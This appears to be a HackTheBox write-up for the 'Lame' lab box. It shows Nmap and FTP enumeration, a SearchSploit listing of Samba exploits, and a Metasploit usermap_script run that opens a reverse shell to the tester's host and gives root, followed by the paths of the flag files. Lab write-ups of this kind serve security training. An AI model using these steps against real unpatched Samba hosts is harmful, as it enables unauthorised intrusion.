

HacktheBox

Lame – 10.10.10.3

Difficulty – EASY

Intro

Lame is a very simple and easy beginner box.

Enumeration

Running Nmap we find the following

Port	Service	Likelihood of Success
21	Anonymous FTP	High
22	SSH – OpenSSH	Low
139	Netbios – Samba - 3.X	High
445	Netbios – Samba – 3.0.20	High

```
root@kali: ~/Desktop
File Edit View Search Terminal Help
Starting Nmap 7.70 ( https://nmap.org ) at 2019-04-11 19:39 BST
Nmap scan report for 10.10.10.3
Host is up (0.24s latency).
Not shown: 996 filtered ports
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ftp-syst:
|_STAT:
|_FTP server status:
|_Connected to 10.10.14.15
|_Logged in as ftp
|_TYPE: ASCII
|_No session bandwidth limit
|_Session timeout in seconds is 300
|_Control connection is plain text
|_Data connections will be plain text
|_vsFTPD 2.3.4 - secure, fast, stable
|_End of status
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
|_ssh-hostkey:
|_1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
|_2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.0.20-Debian (workgroup: WORKGROUP)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -2d22h58m04s, deviation: 0s, median: -2d22h58m04s
|_smb-os-discovery:
|_OS: Unix (Samba 3.0.20-Debian)
|_NetBIOS computer name:
|_Workgroup: WORKGROUP\x00
|_System time: 2019-04-08T11:42:23-04:00
|_smb2-time: Protocol negotiation failed (SMB2)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
.
Nmap done: 1 IP address (1 host up) scanned in 81.11 seconds
root@kali:~/Desktop/HTB/lame/nmap#
```

FTP

We can see that since the FTP server is accepting anonymous login this should be investigated.

```
root@kali: ~/Desktop
File Edit View Search Terminal Help
root@kali:~/Desktop/HTB/lame/nmap# ftp 10.10.10.3
Connected to 10.10.10.3.
220 (vsFTPd 2.3.4)
Name (10.10.10.3:root): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x  2 0          65534      4096 Mar 17  2010 .
drwxr-xr-x  2 0          65534      4096 Mar 17  2010 ..
226 Directory send OK.
ftp> cd ..
250 Directory successfully changed.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
226 Directory send OK.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x  2 0          65534      4096 Mar 17  2010 .
drwxr-xr-x  2 0          65534      4096 Mar 17  2010 ..
226 Directory send OK.
ftp>
```

Connecting to the FTP server and looking around produces nothing. This means that SAMBA should be looked into.

SearchSploit

Using SearchSploit we can see if any known exploits are available for SAMBA 3.0.20

```
root@kali: ~/Desktop
File Edit View Search Terminal Help
Samba 2.2.8 (Linux x86) - 'trans2open' Remote Overf | exploits/linux_x86/remote/16861[31/166]
Samba 2.2.8 (OSX/PPC) - 'trans2open' Remote Overflo | exploits/osx_ppc/remote/16876.rb
Samba 2.2.8 (Solaris SPARC) - 'trans2open' Remote O | exploits/solaris_sparc/remote/16330.rb
Samba 2.2.8 - Brute Force Method Remote Command Exe | exploits/linux/remote/55.c
Samba 2.2.x - 'call_trans2open' Remote Buffer Overf | exploits/unix/remote/22468.c
Samba 2.2.x - 'call_trans2open' Remote Buffer Overf | exploits/unix/remote/22469.c
Samba 2.2.x - 'call_trans2open' Remote Buffer Overf | exploits/unix/remote/22470.c
Samba 2.2.x - 'call_trans2open' Remote Buffer Overf | exploits/unix/remote/22471.txt
Samba 2.2.x - 'nttrans' Remote Overflow (Metasploit | exploits/linux/remote/9936.rb
Samba 2.2.x - CIFS/9000 Server A.01.x Packet Assemb | exploits/unix/remote/22356.c
Samba 2.2.x - Remote Buffer Overflow | exploits/linux/remote/7.pl
Samba 3.0.10 (OSX) - 'lsa_io_trans_names' Heap Over | exploits/osx/remote/16875.rb
Samba 3.0.10 < 3.3.5 - Format String / Security Byp | exploits/multiple/remote/10095.txt
Samba 3.0.20 < 3.0.25rc3 - 'Username' map script' C | exploits/unix/remote/16320.rb
Samba 3.0.21 < 3.0.24 - LSA trans names Heap Overfl | exploits/linux/remote/9950.rb
Samba 3.0.24 (Linux) - 'lsa_io_trans_names' Heap Ov | exploits/linux/remote/16859.rb
Samba 3.0.24 (Solaris) - 'lsa_io_trans_names' Heap | exploits/solaris/remote/16329.rb
Samba 3.0.27a - 'send_mailslot()' Remote Buffer Ove | exploits/linux/dos/4732.c
Samba 3.0.29 (Client) - 'receive_smb_raw()' Buffer | exploits/multiple/dos/5712.pl
Samba 3.0.4 - SWAT Authorisation Buffer Overflow | exploits/linux/remote/364.pl
Samba 3.3.12 (Linux x86) - 'chain_reply' Memory Cor | exploits/linux_x86/remote/16860.rb
Samba 3.3.5 - Format String / Security Bypass | exploits/linux/remote/33053.txt
Samba 3.4.16/3.5.14/3.6.4 - SetInformationPolicy Au | exploits/linux/remote/21850.rb
Samba 3.4.5 - Symlink Directory Traversal | exploits/linux/remote/33599.txt
Samba 3.4.5 - Symlink Directory Traversal (Metasplo | exploits/linux/remote/33598.rb
Samba 3.4.7/3.5.1 - Denial of Service | exploits/linux/dos/12588.txt
Samba 3.5.0 - Remote Code Execution | exploits/linux/remote/42060.py
Samba 3.5.0 < 4.4.14/4.5.10/4.6.4 - 'is_known_pipen | exploits/linux/remote/42084.rb
Samba 3.5.11/3.6.3 - Remote Code Execution | exploits/linux/remote/37834.py
Samba 3.5.22/3.6.17/4.0.8 - nttrans Reply Integer O | exploits/linux/dos/27778.txt
Samba 4.5.2 - Symlink Race Permits Opening Files Ou | exploits/multiple/remote/41740.txt
Samba < 2.0.5 - Local Overflow | exploits/linux/local/19428.c
Samba < 2.2.8 (Linux/BSD) - Remote Code Execution | exploits/multiple/remote/10.c
Samba < 3.0.20 - Remote Heap Overflow | exploits/linux/remote/7701.txt
Samba < 3.6.2 (x86) - Denial of Service (PoC) | exploits/linux_x86/dos/36741.py
Samba FTP Server 6.4 - 'SIZE' Remote Denial of Ser | exploits/windows/dos/2934.php
Samba Server 4.1 Beta - Admin Access | exploits/cgi/remote/20570.txt
Samba Server 4.2 Beta 7 - Batch CGI | exploits/windows/remote/19761.txt
Samba Server 4.3/4.4 Beta 3 - Search CGI | exploits/windows/remote/20223.txt
Samba Server 4.4/5.0 - 'pagecount' File Overwrite | exploits/multiple/remote/21026.txt
Samba Server 4.x/5.0 - Insecure Default Password P | exploits/multiple/remote/21027.txt
Samba Server 5.1 - Sample Script Denial of Service | exploits/windows/dos/21228.c
[0] 0:vpn- 1:[tmux]* 2:bash 3:bash "kali" 20:04 11-Apr-19
```

From this, we can see a Metasploit module called 16320.rb. This will grant an immediate root shell. Thus, no privilege escalation is required.

```

root@kali: ~/Desktop
File Edit View Search Terminal Help
trans_names Heap Overflow [0/583]
  exploit/solaris/samba/trans2open 2003-04-07 great No Samba trans2o
pen Overflow (Solaris SPARC)
  exploit/unix/http/quest_kace_systems_management_rce 2018-05-31 excellent Yes Quest KACE Sy
stems Management Command Injection
  exploit/unix/misc/distcc_exec 2002-02-01 excellent Yes DistCC Daemon
Command Execution
  exploit/unix/webapp/citrix_access_gateway_exec 2010-12-21 excellent Yes Citrix Access
Gateway Command Execution
  exploit/windows/fileformat/ms14_060_sandworm 2014-10-14 excellent No MS14-060 Micr
rosoft Windows OLE Package Manager Code Execution
  exploit/windows/http/sambar6_search_results 2003-06-21 normal Yes Sambar 6 Sear
ch Results Buffer Overflow
  exploit/windows/license/calicclnt_getconfig 2005-03-02 average No Computer Asso
ciates License Client GETCONFIG Overflow
  exploit/windows/smb/group_policy_startup 2015-01-26 manual No Group Policy
Script Execution From Shared Resource
  post/linux/gather/enum_configs normal No Linux Gather
Configurations

msf5 > use exploit/multi/samba/usermap_script
msf5 exploit(multi/samba/usermap_script) > set rhost 10.10.10.3
rhost => 10.10.10.3
msf5 exploit(multi/samba/usermap_script) > run

[*] Started reverse TCP double handler on 10.10.14.15:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo RmJu7EDrTcxJ7djR;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "RmJu7EDrTcxJ7djR\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (10.10.14.15:4444 -> 10.10.10.3:35953) at 2019-04-11 21:15:59 +0100

whoami
root

[0] 0:vpn- 1:[tmux]* 2:bash 3:bash "kali" 21:16 11-Apr-19

```

User flag can be found at **/home/makis/user.txt**

Root flag can be found at **/root/root.txt**